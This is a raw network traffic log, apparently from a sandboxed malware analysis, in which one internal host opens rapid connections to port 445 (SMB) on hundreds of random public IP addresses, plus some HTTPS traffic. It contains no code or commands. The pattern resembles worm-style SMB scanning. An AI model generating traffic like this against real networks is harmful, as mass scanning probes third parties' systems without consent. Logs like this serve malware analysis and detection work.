Jul 20, 2022 19:11:11.992392063 CEST	63671	445	192.168.2.7	79.133.203.6
Jul 20, 2022 19:11:11.992924929 CEST	63674	445	192.168.2.7	134.10.212.78
Jul 20, 2022 19:11:11.992968082 CEST	63675	445	192.168.2.7	204.140.178.22
Jul 20, 2022 19:11:11.993436098 CEST	63679	445	192.168.2.7	150.66.109.59
Jul 20, 2022 19:11:11.994024038 CEST	63685	445	192.168.2.7	153.101.150.158
Jul 20, 2022 19:11:11.994779110 CEST	63692	445	192.168.2.7	148.186.225.113
Jul 20, 2022 19:11:11.995038033 CEST	63694	445	192.168.2.7	100.57.9.67
Jul 20, 2022 19:11:11.995300055 CEST	63696	445	192.168.2.7	200.247.43.22
Jul 20, 2022 19:11:11.995632887 CEST	63699	445	192.168.2.7	146.9.130.155
Jul 20, 2022 19:11:11.996001959 CEST	63702	445	192.168.2.7	156.18.87.140
Jul 20, 2022 19:11:11.996249914 CEST	63704	445	192.168.2.7	90.209.201.108
Jul 20, 2022 19:11:11.996921062 CEST	63710	445	192.168.2.7	52.27.225.92
Jul 20, 2022 19:11:13.217711926 CEST	63724	445	192.168.2.7	221.252.139.142
Jul 20, 2022 19:11:13.218127012 CEST	63729	445	192.168.2.7	177.210.200.46
Jul 20, 2022 19:11:13.218570948 CEST	63734	445	192.168.2.7	18.31.200.52
Jul 20, 2022 19:11:13.218811035 CEST	63737	445	192.168.2.7	195.83.69.238
Jul 20, 2022 19:11:13.218913078 CEST	63738	445	192.168.2.7	132.163.81.98
Jul 20, 2022 19:11:13.219644070 CEST	63742	445	192.168.2.7	172.78.89.43
Jul 20, 2022 19:11:13.220202923 CEST	63748	445	192.168.2.7	102.84.163.204
Jul 20, 2022 19:11:13.220777988 CEST	63755	445	192.168.2.7	168.198.46.200
Jul 20, 2022 19:11:13.220982075 CEST	63757	445	192.168.2.7	149.92.115.132
Jul 20, 2022 19:11:13.221185923 CEST	63759	445	192.168.2.7	114.134.212.158
Jul 20, 2022 19:11:13.221427917 CEST	63762	445	192.168.2.7	29.39.29.93
Jul 20, 2022 19:11:13.221687078 CEST	63765	445	192.168.2.7	157.152.110.71
Jul 20, 2022 19:11:13.221853971 CEST	63767	445	192.168.2.7	138.224.0.237
Jul 20, 2022 19:11:13.222315073 CEST	63773	445	192.168.2.7	21.5.210.229
Jul 20, 2022 19:11:13.223292112 CEST	63786	445	192.168.2.7	6.120.193.149
Jul 20, 2022 19:11:13.223541975 CEST	63788	445	192.168.2.7	52.129.207.29
Jul 20, 2022 19:11:13.223659039 CEST	63789	445	192.168.2.7	41.213.12.73
Jul 20, 2022 19:11:13.223756075 CEST	63790	445	192.168.2.7	210.235.108.211
Jul 20, 2022 19:11:13.223860979 CEST	63791	445	192.168.2.7	115.26.247.19
Jul 20, 2022 19:11:13.223947048 CEST	63792	445	192.168.2.7	72.241.85.237
Jul 20, 2022 19:11:13.224541903 CEST	63799	445	192.168.2.7	36.215.22.116
Jul 20, 2022 19:11:13.224677086 CEST	63800	445	192.168.2.7	105.179.40.105
Jul 20, 2022 19:11:13.225089073 CEST	63804	445	192.168.2.7	219.72.134.220
Jul 20, 2022 19:11:13.225773096 CEST	63813	445	192.168.2.7	27.83.180.75
Jul 20, 2022 19:11:13.226705074 CEST	63824	445	192.168.2.7	45.178.210.15
Jul 20, 2022 19:11:13.226824045 CEST	63825	445	192.168.2.7	192.144.143.130
Jul 20, 2022 19:11:13.227310896 CEST	63831	445	192.168.2.7	84.7.162.59
Jul 20, 2022 19:11:13.227993965 CEST	63835	445	192.168.2.7	77.45.244.135
Jul 20, 2022 19:11:13.228230000 CEST	63837	445	192.168.2.7	109.239.9.209
Jul 20, 2022 19:11:13.517939091 CEST	63844	445	192.168.2.7	192.56.37.4
Jul 20, 2022 19:11:13.699572086 CEST	445	63844	192.56.37.4	192.168.2.7
Jul 20, 2022 19:11:13.699785948 CEST	63844	445	192.168.2.7	192.56.37.4
Jul 20, 2022 19:11:14.248356104 CEST	63844	445	192.168.2.7	192.56.37.4
Jul 20, 2022 19:11:14.328136921 CEST	63851	445	192.168.2.7	23.99.233.38
Jul 20, 2022 19:11:14.328283072 CEST	63853	445	192.168.2.7	150.146.104.11
Jul 20, 2022 19:11:14.328557968 CEST	63856	445	192.168.2.7	90.68.12.114
Jul 20, 2022 19:11:14.329360962 CEST	63865	445	192.168.2.7	68.109.108.183
Jul 20, 2022 19:11:14.330024958 CEST	63876	445	192.168.2.7	180.143.15.87
Jul 20, 2022 19:11:14.330200911 CEST	63877	445	192.168.2.7	206.199.97.232
Jul 20, 2022 19:11:14.330480099 CEST	63883	445	192.168.2.7	27.232.117.184
Jul 20, 2022 19:11:14.330766916 CEST	63887	445	192.168.2.7	132.69.191.151
Jul 20, 2022 19:11:14.330890894 CEST	63889	445	192.168.2.7	29.151.250.203
Jul 20, 2022 19:11:14.331376076 CEST	63896	445	192.168.2.7	17.54.141.167
Jul 20, 2022 19:11:14.331785917 CEST	63903	445	192.168.2.7	109.251.34.175
Jul 20, 2022 19:11:14.332067966 CEST	63907	445	192.168.2.7	30.24.123.40
Jul 20, 2022 19:11:14.332391977 CEST	63912	445	192.168.2.7	11.87.244.81
Jul 20, 2022 19:11:14.332511902 CEST	63914	445	192.168.2.7	93.110.109.188
Jul 20, 2022 19:11:14.332627058 CEST	63913	445	192.168.2.7	123.48.167.170
Jul 20, 2022 19:11:14.332676888 CEST	63915	445	192.168.2.7	191.65.217.204
Jul 20, 2022 19:11:14.332945108 CEST	63917	445	192.168.2.7	14.40.118.216
Jul 20, 2022 19:11:14.333118916 CEST	63919	445	192.168.2.7	84.204.106.252
Jul 20, 2022 19:11:14.333872080 CEST	63932	445	192.168.2.7	42.208.144.166
Jul 20, 2022 19:11:14.334142923 CEST	63936	445	192.168.2.7	207.247.15.186
Jul 20, 2022 19:11:14.334393978 CEST	63940	445	192.168.2.7	65.38.85.33
Jul 20, 2022 19:11:14.334539890 CEST	63942	445	192.168.2.7	114.187.194.49
Jul 20, 2022 19:11:14.334665060 CEST	63943	445	192.168.2.7	42.230.81.138
Jul 20, 2022 19:11:14.335108042 CEST	63949	445	192.168.2.7	25.14.163.155
Jul 20, 2022 19:11:14.335113049 CEST	63951	445	192.168.2.7	215.15.156.20
Jul 20, 2022 19:11:14.335637093 CEST	63958	445	192.168.2.7	24.167.90.43
Jul 20, 2022 19:11:14.336060047 CEST	63964	445	192.168.2.7	129.193.223.84
Jul 20, 2022 19:11:14.336186886 CEST	63966	445	192.168.2.7	29.151.138.235
Jul 20, 2022 19:11:14.336369991 CEST	63968	445	192.168.2.7	58.245.93.42
Jul 20, 2022 19:11:14.373920918 CEST	63970	445	192.168.2.7	165.3.122.3
Jul 20, 2022 19:11:14.539822102 CEST	445	63970	165.3.122.3	192.168.2.7
Jul 20, 2022 19:11:14.539963961 CEST	63970	445	192.168.2.7	165.3.122.3
Jul 20, 2022 19:11:14.540028095 CEST	63970	445	192.168.2.7	165.3.122.3
Jul 20, 2022 19:11:14.540498972 CEST	63971	445	192.168.2.7	165.3.122.3
Jul 20, 2022 19:11:14.717159033 CEST	63844	445	192.168.2.7	192.56.37.4
Jul 20, 2022 19:11:14.752222061 CEST	445	60790	120.157.203.225	192.168.2.7
Jul 20, 2022 19:11:15.060977936 CEST	63970	445	192.168.2.7	165.3.122.3
Jul 20, 2022 19:11:15.452600956 CEST	63984	445	192.168.2.7	60.199.97.30
Jul 20, 2022 19:11:15.452852011 CEST	63988	445	192.168.2.7	181.145.252.102
Jul 20, 2022 19:11:15.452964067 CEST	63990	445	192.168.2.7	169.117.2.118
Jul 20, 2022 19:11:15.452976942 CEST	63991	445	192.168.2.7	150.94.238.250
Jul 20, 2022 19:11:15.453463078 CEST	64002	445	192.168.2.7	128.87.140.140
Jul 20, 2022 19:11:15.453588009 CEST	64006	445	192.168.2.7	145.25.90.27
Jul 20, 2022 19:11:15.453773022 CEST	64010	445	192.168.2.7	62.49.198.221
Jul 20, 2022 19:11:15.453911066 CEST	64012	445	192.168.2.7	183.163.27.104
Jul 20, 2022 19:11:15.453923941 CEST	64013	445	192.168.2.7	149.185.62.64
Jul 20, 2022 19:11:15.454184055 CEST	64019	445	192.168.2.7	146.122.66.41
Jul 20, 2022 19:11:15.454493999 CEST	64027	445	192.168.2.7	81.66.37.152
Jul 20, 2022 19:11:15.454741955 CEST	64033	445	192.168.2.7	190.55.157.165
Jul 20, 2022 19:11:15.454823971 CEST	64034	445	192.168.2.7	126.17.27.245
Jul 20, 2022 19:11:15.454994917 CEST	64038	445	192.168.2.7	120.224.45.198
Jul 20, 2022 19:11:15.455127954 CEST	64039	445	192.168.2.7	128.130.175.35
Jul 20, 2022 19:11:15.455153942 CEST	64040	445	192.168.2.7	25.17.94.250
Jul 20, 2022 19:11:15.455471039 CEST	64048	445	192.168.2.7	217.243.143.93
Jul 20, 2022 19:11:15.455578089 CEST	64050	445	192.168.2.7	164.1.214.43
Jul 20, 2022 19:11:15.455642939 CEST	64051	445	192.168.2.7	16.224.48.17
Jul 20, 2022 19:11:15.455697060 CEST	64052	445	192.168.2.7	178.173.66.152
Jul 20, 2022 19:11:15.455879927 CEST	64056	445	192.168.2.7	66.148.126.117
Jul 20, 2022 19:11:15.455907106 CEST	64057	445	192.168.2.7	160.58.117.132
Jul 20, 2022 19:11:15.456156969 CEST	64062	445	192.168.2.7	26.249.57.100
Jul 20, 2022 19:11:15.456500053 CEST	64071	445	192.168.2.7	122.123.4.244
Jul 20, 2022 19:11:15.456806898 CEST	64079	445	192.168.2.7	110.105.120.163
Jul 20, 2022 19:11:15.456854105 CEST	64080	445	192.168.2.7	159.176.151.22
Jul 20, 2022 19:11:15.456964016 CEST	64082	445	192.168.2.7	110.246.159.243
Jul 20, 2022 19:11:15.457118034 CEST	64086	445	192.168.2.7	220.74.177.73
Jul 20, 2022 19:11:15.457278013 CEST	64090	445	192.168.2.7	115.50.133.140
Jul 20, 2022 19:11:15.795413971 CEST	63844	445	192.168.2.7	192.56.37.4
Jul 20, 2022 19:11:16.045466900 CEST	63970	445	192.168.2.7	165.3.122.3
Jul 20, 2022 19:11:16.577410936 CEST	64100	445	192.168.2.7	216.43.103.217
Jul 20, 2022 19:11:16.578099012 CEST	64109	445	192.168.2.7	78.48.195.47
Jul 20, 2022 19:11:16.578696012 CEST	64118	445	192.168.2.7	203.188.7.196
Jul 20, 2022 19:11:16.578799963 CEST	64119	445	192.168.2.7	17.178.56.193
Jul 20, 2022 19:11:16.578937054 CEST	64122	445	192.168.2.7	47.101.182.83
Jul 20, 2022 19:11:16.579123020 CEST	64125	445	192.168.2.7	74.199.241.85
Jul 20, 2022 19:11:16.579334021 CEST	64129	445	192.168.2.7	117.205.3.214
Jul 20, 2022 19:11:16.579705954 CEST	64136	445	192.168.2.7	101.121.117.242
Jul 20, 2022 19:11:16.579737902 CEST	64137	445	192.168.2.7	209.29.212.199
Jul 20, 2022 19:11:16.579875946 CEST	64138	445	192.168.2.7	109.62.23.113
Jul 20, 2022 19:11:16.580111027 CEST	64143	445	192.168.2.7	133.244.59.58
Jul 20, 2022 19:11:16.580342054 CEST	64148	445	192.168.2.7	66.246.174.63
Jul 20, 2022 19:11:16.580378056 CEST	64149	445	192.168.2.7	113.108.113.173
Jul 20, 2022 19:11:16.580487967 CEST	64150	445	192.168.2.7	138.132.129.175
Jul 20, 2022 19:11:16.580625057 CEST	64153	445	192.168.2.7	203.154.187.60
Jul 20, 2022 19:11:16.580744982 CEST	64155	445	192.168.2.7	122.102.180.193
Jul 20, 2022 19:11:16.581420898 CEST	64168	445	192.168.2.7	144.160.93.191
Jul 20, 2022 19:11:16.581696987 CEST	64174	445	192.168.2.7	193.65.64.156
Jul 20, 2022 19:11:16.581779957 CEST	64175	445	192.168.2.7	172.206.198.114
Jul 20, 2022 19:11:16.581815004 CEST	64176	445	192.168.2.7	95.162.120.158
Jul 20, 2022 19:11:16.582401037 CEST	64187	445	192.168.2.7	189.118.130.113
Jul 20, 2022 19:11:16.582580090 CEST	64191	445	192.168.2.7	211.192.78.187
Jul 20, 2022 19:11:16.582746983 CEST	64194	445	192.168.2.7	210.235.55.231
Jul 20, 2022 19:11:16.582881927 CEST	64196	445	192.168.2.7	6.31.122.148
Jul 20, 2022 19:11:16.583009958 CEST	64198	445	192.168.2.7	122.130.107.74
Jul 20, 2022 19:11:16.583245039 CEST	64203	445	192.168.2.7	15.59.172.232
Jul 20, 2022 19:11:16.583699942 CEST	64211	445	192.168.2.7	18.197.219.82
Jul 20, 2022 19:11:16.584089994 CEST	64219	445	192.168.2.7	217.39.160.195
Jul 20, 2022 19:11:16.584744930 CEST	64220	445	192.168.2.7	18.15.20.202
Jul 20, 2022 19:11:16.875808001 CEST	445	64187	189.118.130.113	192.168.2.7
Jul 20, 2022 19:11:17.389273882 CEST	64187	445	192.168.2.7	189.118.130.113
Jul 20, 2022 19:11:17.530006886 CEST	63971	445	192.168.2.7	165.3.122.3
Jul 20, 2022 19:11:17.690980911 CEST	445	64187	189.118.130.113	192.168.2.7
Jul 20, 2022 19:11:17.704075098 CEST	64235	445	192.168.2.7	22.89.12.79
Jul 20, 2022 19:11:17.704615116 CEST	64239	445	192.168.2.7	52.118.101.74
Jul 20, 2022 19:11:17.704801083 CEST	64240	445	192.168.2.7	168.151.177.215
Jul 20, 2022 19:11:17.704967022 CEST	64241	445	192.168.2.7	217.208.63.150
Jul 20, 2022 19:11:17.706199884 CEST	64252	445	192.168.2.7	207.39.251.139
Jul 20, 2022 19:11:17.706672907 CEST	64256	445	192.168.2.7	65.187.190.149
Jul 20, 2022 19:11:17.707015038 CEST	64259	445	192.168.2.7	72.196.161.28
Jul 20, 2022 19:11:17.707163095 CEST	64261	445	192.168.2.7	157.107.186.86
Jul 20, 2022 19:11:17.707357883 CEST	64264	445	192.168.2.7	100.127.240.2
Jul 20, 2022 19:11:17.707627058 CEST	64268	445	192.168.2.7	15.153.218.185
Jul 20, 2022 19:11:17.708184004 CEST	64276	445	192.168.2.7	94.132.140.27
Jul 20, 2022 19:11:17.708663940 CEST	64284	445	192.168.2.7	47.212.160.227
Jul 20, 2022 19:11:17.708775043 CEST	64285	445	192.168.2.7	120.18.209.158
Jul 20, 2022 19:11:17.709126949 CEST	64290	445	192.168.2.7	187.210.11.50
Jul 20, 2022 19:11:17.709486008 CEST	64295	445	192.168.2.7	25.95.152.232
Jul 20, 2022 19:11:17.709564924 CEST	64296	445	192.168.2.7	215.38.165.16
Jul 20, 2022 19:11:17.709898949 CEST	64300	445	192.168.2.7	43.5.219.176
Jul 20, 2022 19:11:17.710160017 CEST	64305	445	192.168.2.7	14.148.120.154
Jul 20, 2022 19:11:17.710521936 CEST	64311	445	192.168.2.7	162.47.236.193
Jul 20, 2022 19:11:17.710545063 CEST	64310	445	192.168.2.7	204.16.225.1
Jul 20, 2022 19:11:17.710700989 CEST	64312	445	192.168.2.7	24.174.212.71
Jul 20, 2022 19:11:17.710819006 CEST	64314	445	192.168.2.7	139.84.10.57
Jul 20, 2022 19:11:17.711380005 CEST	64324	445	192.168.2.7	145.81.112.176
Jul 20, 2022 19:11:17.711723089 CEST	64330	445	192.168.2.7	78.59.76.117
Jul 20, 2022 19:11:17.712330103 CEST	64336	445	192.168.2.7	13.188.115.86
Jul 20, 2022 19:11:17.712423086 CEST	64337	445	192.168.2.7	160.215.82.236
Jul 20, 2022 19:11:17.712605953 CEST	64340	445	192.168.2.7	67.85.26.226
Jul 20, 2022 19:11:17.712606907 CEST	64339	445	192.168.2.7	174.29.184.82
Jul 20, 2022 19:11:17.712779999 CEST	64342	445	192.168.2.7	202.77.218.185
Jul 20, 2022 19:11:17.936203003 CEST	63844	445	192.168.2.7	192.56.37.4
Jul 20, 2022 19:11:17.998720884 CEST	63970	445	192.168.2.7	165.3.122.3
Jul 20, 2022 19:11:18.827451944 CEST	64353	445	192.168.2.7	77.93.129.59
Jul 20, 2022 19:11:18.827846050 CEST	64359	445	192.168.2.7	36.205.221.48
Jul 20, 2022 19:11:18.827914000 CEST	64360	445	192.168.2.7	19.64.38.195
Jul 20, 2022 19:11:18.828094959 CEST	64362	445	192.168.2.7	49.252.132.78
Jul 20, 2022 19:11:18.828536034 CEST	64368	445	192.168.2.7	133.114.144.34
Jul 20, 2022 19:11:18.828845978 CEST	64376	445	192.168.2.7	83.215.7.42
Jul 20, 2022 19:11:18.828999996 CEST	64375	445	192.168.2.7	196.44.25.38
Jul 20, 2022 19:11:18.829010010 CEST	64379	445	192.168.2.7	11.124.60.209
Jul 20, 2022 19:11:18.829346895 CEST	64388	445	192.168.2.7	82.252.231.131
Jul 20, 2022 19:11:18.829900026 CEST	64401	445	192.168.2.7	212.77.173.50
Jul 20, 2022 19:11:18.829926014 CEST	64400	445	192.168.2.7	88.71.43.238
Jul 20, 2022 19:11:18.830025911 CEST	64403	445	192.168.2.7	85.29.121.46
Jul 20, 2022 19:11:18.830110073 CEST	64404	445	192.168.2.7	178.88.25.223
Jul 20, 2022 19:11:18.830224037 CEST	64406	445	192.168.2.7	39.253.13.198
Jul 20, 2022 19:11:18.830493927 CEST	64413	445	192.168.2.7	64.243.22.181
Jul 20, 2022 19:11:18.830709934 CEST	64418	445	192.168.2.7	136.151.222.24
Jul 20, 2022 19:11:18.830946922 CEST	64424	445	192.168.2.7	174.66.233.117
Jul 20, 2022 19:11:18.831231117 CEST	64431	445	192.168.2.7	174.7.101.127
Jul 20, 2022 19:11:18.831384897 CEST	64435	445	192.168.2.7	194.46.253.242
Jul 20, 2022 19:11:18.831634045 CEST	64441	445	192.168.2.7	97.54.103.244
Jul 20, 2022 19:11:18.831722975 CEST	64443	445	192.168.2.7	160.71.13.207
Jul 20, 2022 19:11:18.831823111 CEST	64444	445	192.168.2.7	152.78.196.229
Jul 20, 2022 19:11:18.831926107 CEST	64446	445	192.168.2.7	32.12.163.160
Jul 20, 2022 19:11:18.832384109 CEST	64457	445	192.168.2.7	215.142.210.249
Jul 20, 2022 19:11:18.832425117 CEST	64458	445	192.168.2.7	201.178.6.151
Jul 20, 2022 19:11:18.832520962 CEST	64459	445	192.168.2.7	10.100.84.83
Jul 20, 2022 19:11:18.832720041 CEST	64464	445	192.168.2.7	134.155.79.177
Jul 20, 2022 19:11:19.953222036 CEST	64479	445	192.168.2.7	99.111.34.61
Jul 20, 2022 19:11:19.953555107 CEST	64485	445	192.168.2.7	49.240.138.239
Jul 20, 2022 19:11:19.953881979 CEST	64490	445	192.168.2.7	215.224.101.152
Jul 20, 2022 19:11:19.954209089 CEST	64496	445	192.168.2.7	81.179.28.172
Jul 20, 2022 19:11:19.954615116 CEST	64501	445	192.168.2.7	9.129.43.62
Jul 20, 2022 19:11:19.954817057 CEST	64506	445	192.168.2.7	92.152.143.156
Jul 20, 2022 19:11:19.954968929 CEST	64508	445	192.168.2.7	208.148.36.2
Jul 20, 2022 19:11:19.955086946 CEST	64510	445	192.168.2.7	49.67.151.189
Jul 20, 2022 19:11:19.955143929 CEST	64511	445	192.168.2.7	88.34.152.106
Jul 20, 2022 19:11:19.955853939 CEST	64523	445	192.168.2.7	223.68.187.146
Jul 20, 2022 19:11:19.955993891 CEST	64522	445	192.168.2.7	125.78.53.245
Jul 20, 2022 19:11:19.956053972 CEST	64525	445	192.168.2.7	125.74.52.130
Jul 20, 2022 19:11:19.956504107 CEST	64530	445	192.168.2.7	71.101.98.222
Jul 20, 2022 19:11:19.957081079 CEST	64538	445	192.168.2.7	159.102.83.36
Jul 20, 2022 19:11:19.957230091 CEST	64540	445	192.168.2.7	30.50.218.74
Jul 20, 2022 19:11:19.957803965 CEST	64550	445	192.168.2.7	195.0.199.40
Jul 20, 2022 19:11:19.958033085 CEST	64553	445	192.168.2.7	87.178.227.57
Jul 20, 2022 19:11:19.958578110 CEST	64560	445	192.168.2.7	181.156.228.172
Jul 20, 2022 19:11:19.958765030 CEST	64563	445	192.168.2.7	50.26.164.93
Jul 20, 2022 19:11:19.958796978 CEST	64564	445	192.168.2.7	192.96.97.0
Jul 20, 2022 19:11:19.959450006 CEST	64573	445	192.168.2.7	189.226.251.93
Jul 20, 2022 19:11:19.959549904 CEST	64574	445	192.168.2.7	188.203.223.181
Jul 20, 2022 19:11:19.959666967 CEST	64575	445	192.168.2.7	150.101.72.234
Jul 20, 2022 19:11:19.960192919 CEST	64582	445	192.168.2.7	204.56.228.66
Jul 20, 2022 19:11:19.960484982 CEST	64586	445	192.168.2.7	81.13.190.102
Jul 20, 2022 19:11:19.960776091 CEST	64591	445	192.168.2.7	93.161.153.188
Jul 20, 2022 19:11:19.960819960 CEST	64590	445	192.168.2.7	98.233.167.81
Jul 20, 2022 19:11:19.960987091 CEST	64592	445	192.168.2.7	80.209.227.112
Jul 20, 2022 19:11:19.961131096 CEST	64595	445	192.168.2.7	16.166.119.212
Jul 20, 2022 19:11:21.078411102 CEST	64604	445	192.168.2.7	88.147.68.94
Jul 20, 2022 19:11:21.078448057 CEST	64605	445	192.168.2.7	86.224.7.180
Jul 20, 2022 19:11:21.078592062 CEST	64607	445	192.168.2.7	148.115.34.103
Jul 20, 2022 19:11:21.079087973 CEST	64616	445	192.168.2.7	215.84.102.239
Jul 20, 2022 19:11:21.079168081 CEST	64617	445	192.168.2.7	81.222.213.65
Jul 20, 2022 19:11:21.079405069 CEST	64618	445	192.168.2.7	12.183.71.65
Jul 20, 2022 19:11:21.079873085 CEST	64625	445	192.168.2.7	94.225.247.178
Jul 20, 2022 19:11:21.080115080 CEST	64628	445	192.168.2.7	71.149.116.181
Jul 20, 2022 19:11:21.080388069 CEST	64633	445	192.168.2.7	109.94.159.216
Jul 20, 2022 19:11:21.080444098 CEST	64634	445	192.168.2.7	47.100.228.5
Jul 20, 2022 19:11:21.080527067 CEST	64635	445	192.168.2.7	9.149.37.212
Jul 20, 2022 19:11:21.080807924 CEST	64638	445	192.168.2.7	6.154.133.204
Jul 20, 2022 19:11:21.081176996 CEST	64643	445	192.168.2.7	76.194.141.72
Jul 20, 2022 19:11:21.081496000 CEST	64649	445	192.168.2.7	160.64.71.216
Jul 20, 2022 19:11:21.081660986 CEST	64653	445	192.168.2.7	154.206.146.239
Jul 20, 2022 19:11:21.082030058 CEST	64659	445	192.168.2.7	213.118.60.209
Jul 20, 2022 19:11:21.082400084 CEST	64666	445	192.168.2.7	16.93.100.7
Jul 20, 2022 19:11:21.082771063 CEST	64670	445	192.168.2.7	202.31.121.169
Jul 20, 2022 19:11:21.083451033 CEST	64679	445	192.168.2.7	218.138.113.56
Jul 20, 2022 19:11:21.083586931 CEST	64681	445	192.168.2.7	105.59.196.241
Jul 20, 2022 19:11:21.084117889 CEST	64692	445	192.168.2.7	23.89.136.241
Jul 20, 2022 19:11:21.084248066 CEST	64693	445	192.168.2.7	33.215.156.43
Jul 20, 2022 19:11:21.084259987 CEST	64694	445	192.168.2.7	220.148.121.13
Jul 20, 2022 19:11:21.085012913 CEST	64705	445	192.168.2.7	184.112.141.23
Jul 20, 2022 19:11:21.085047007 CEST	64706	445	192.168.2.7	115.83.105.137
Jul 20, 2022 19:11:21.085206985 CEST	64709	445	192.168.2.7	99.107.8.200
Jul 20, 2022 19:11:21.085262060 CEST	64710	445	192.168.2.7	1.131.86.147
Jul 20, 2022 19:11:21.085570097 CEST	64716	445	192.168.2.7	157.218.192.254
Jul 20, 2022 19:11:21.086189985 CEST	64720	445	192.168.2.7	130.46.168.109
Jul 20, 2022 19:11:21.889636993 CEST	63970	445	192.168.2.7	165.3.122.3
Jul 20, 2022 19:11:22.099975109 CEST	64726	443	192.168.2.7	20.190.160.15
Jul 20, 2022 19:11:22.100027084 CEST	443	64726	20.190.160.15	192.168.2.7
Jul 20, 2022 19:11:22.100122929 CEST	64726	443	192.168.2.7	20.190.160.15
Jul 20, 2022 19:11:22.100267887 CEST	64727	443	192.168.2.7	20.190.160.15
Jul 20, 2022 19:11:22.100313902 CEST	443	64727	20.190.160.15	192.168.2.7
Jul 20, 2022 19:11:22.100385904 CEST	64727	443	192.168.2.7	20.190.160.15
Jul 20, 2022 19:11:22.102286100 CEST	64726	443	192.168.2.7	20.190.160.15
Jul 20, 2022 19:11:22.102312088 CEST	443	64726	20.190.160.15	192.168.2.7
Jul 20, 2022 19:11:22.102510929 CEST	64727	443	192.168.2.7	20.190.160.15
Jul 20, 2022 19:11:22.102529049 CEST	443	64727	20.190.160.15	192.168.2.7
Jul 20, 2022 19:11:22.185276031 CEST	443	64727	20.190.160.15	192.168.2.7
Jul 20, 2022 19:11:22.185403109 CEST	64727	443	192.168.2.7	20.190.160.15
Jul 20, 2022 19:11:22.186146021 CEST	443	64727	20.190.160.15	192.168.2.7
Jul 20, 2022 19:11:22.186274052 CEST	64727	443	192.168.2.7	20.190.160.15
Jul 20, 2022 19:11:22.194603920 CEST	443	64726	20.190.160.15	192.168.2.7
Jul 20, 2022 19:11:22.194761038 CEST	64726	443	192.168.2.7	20.190.160.15
Jul 20, 2022 19:11:22.196088076 CEST	443	64726	20.190.160.15	192.168.2.7
Jul 20, 2022 19:11:22.196228981 CEST	64726	443	192.168.2.7	20.190.160.15
Jul 20, 2022 19:11:22.206758976 CEST	64738	445	192.168.2.7	190.34.195.57
Jul 20, 2022 19:11:22.210644960 CEST	64747	445	192.168.2.7	113.158.62.226
Jul 20, 2022 19:11:22.211627007 CEST	64749	445	192.168.2.7	200.60.39.227
Jul 20, 2022 19:11:22.218348026 CEST	63844	445	192.168.2.7	192.56.37.4
Jul 20, 2022 19:11:22.218405962 CEST	64761	445	192.168.2.7	152.140.129.53
Jul 20, 2022 19:11:22.218496084 CEST	64760	445	192.168.2.7	219.217.68.129
Jul 20, 2022 19:11:22.219085932 CEST	64762	445	192.168.2.7	195.113.157.186
Jul 20, 2022 19:11:22.220226049 CEST	64772	445	192.168.2.7	161.31.155.225
Jul 20, 2022 19:11:22.220547915 CEST	64775	445	192.168.2.7	73.126.109.142
Jul 20, 2022 19:11:22.221019983 CEST	64777	445	192.168.2.7	33.45.15.129
Jul 20, 2022 19:11:22.221154928 CEST	64778	445	192.168.2.7	8.60.188.204
Jul 20, 2022 19:11:22.222003937 CEST	64784	445	192.168.2.7	191.198.11.113
Jul 20, 2022 19:11:22.222659111 CEST	64788	445	192.168.2.7	6.7.49.227
Jul 20, 2022 19:11:22.223726034 CEST	64795	445	192.168.2.7	207.94.183.190
Jul 20, 2022 19:11:22.223926067 CEST	64796	445	192.168.2.7	167.201.154.161
Jul 20, 2022 19:11:22.224522114 CEST	64799	445	192.168.2.7	222.74.24.213
Jul 20, 2022 19:11:22.225742102 CEST	64807	445	192.168.2.7	79.12.244.199
Jul 20, 2022 19:11:22.226160049 CEST	64808	445	192.168.2.7	91.43.30.183
Jul 20, 2022 19:11:22.226180077 CEST	64809	445	192.168.2.7	163.89.161.222
Jul 20, 2022 19:11:22.227482080 CEST	64816	445	192.168.2.7	195.125.208.5
Jul 20, 2022 19:11:22.228487015 CEST	64821	445	192.168.2.7	30.101.215.70
Jul 20, 2022 19:11:22.229012012 CEST	64823	445	192.168.2.7	186.242.145.248
Jul 20, 2022 19:11:22.229182959 CEST	64825	445	192.168.2.7	29.0.70.101
Jul 20, 2022 19:11:22.229697943 CEST	64828	445	192.168.2.7	65.8.14.43
Jul 20, 2022 19:11:22.229923010 CEST	64829	445	192.168.2.7	144.193.10.48
Jul 20, 2022 19:11:22.231899977 CEST	64841	445	192.168.2.7	66.232.238.202
Jul 20, 2022 19:11:22.232525110 CEST	64845	445	192.168.2.7	59.221.108.55
Jul 20, 2022 19:11:22.232537031 CEST	64834	445	192.168.2.7	174.98.21.81
Jul 20, 2022 19:11:22.233105898 CEST	64849	445	192.168.2.7	91.37.27.178
Jul 20, 2022 19:11:22.263586998 CEST	64727	443	192.168.2.7	20.190.160.15
Jul 20, 2022 19:11:22.263613939 CEST	443	64727	20.190.160.15	192.168.2.7
Jul 20, 2022 19:11:22.263861895 CEST	443	64727	20.190.160.15	192.168.2.7
Jul 20, 2022 19:11:22.265723944 CEST	64727	443	192.168.2.7	20.190.160.15
Jul 20, 2022 19:11:22.265768051 CEST	64727	443	192.168.2.7	20.190.160.15
Jul 20, 2022 19:11:22.265806913 CEST	443	64727	20.190.160.15	192.168.2.7
Jul 20, 2022 19:11:22.266700983 CEST	64726	443	192.168.2.7	20.190.160.15
Jul 20, 2022 19:11:22.266730070 CEST	443	64726	20.190.160.15	192.168.2.7
Jul 20, 2022 19:11:22.267288923 CEST	443	64726	20.190.160.15	192.168.2.7
Jul 20, 2022 19:11:22.267983913 CEST	64726	443	192.168.2.7	20.190.160.15
Jul 20, 2022 19:11:22.268068075 CEST	64726	443	192.168.2.7	20.190.160.15
Jul 20, 2022 19:11:22.268131018 CEST	443	64726	20.190.160.15	192.168.2.7
Jul 20, 2022 19:11:22.413178921 CEST	443	64727	20.190.160.15	192.168.2.7
Jul 20, 2022 19:11:22.413207054 CEST	443	64727	20.190.160.15	192.168.2.7
Jul 20, 2022 19:11:22.413247108 CEST	443	64727	20.190.160.15	192.168.2.7
Jul 20, 2022 19:11:22.413280964 CEST	443	64727	20.190.160.15	192.168.2.7
Jul 20, 2022 19:11:22.413316011 CEST	64727	443	192.168.2.7	20.190.160.15
Jul 20, 2022 19:11:22.413341999 CEST	64727	443	192.168.2.7	20.190.160.15
Jul 20, 2022 19:11:22.418864012 CEST	443	64726	20.190.160.15	192.168.2.7
Jul 20, 2022 19:11:22.418900013 CEST	443	64726	20.190.160.15	192.168.2.7
Jul 20, 2022 19:11:22.418950081 CEST	443	64726	20.190.160.15	192.168.2.7
Jul 20, 2022 19:11:22.418988943 CEST	64726	443	192.168.2.7	20.190.160.15
Jul 20, 2022 19:11:22.419003010 CEST	443	64726	20.190.160.15	192.168.2.7
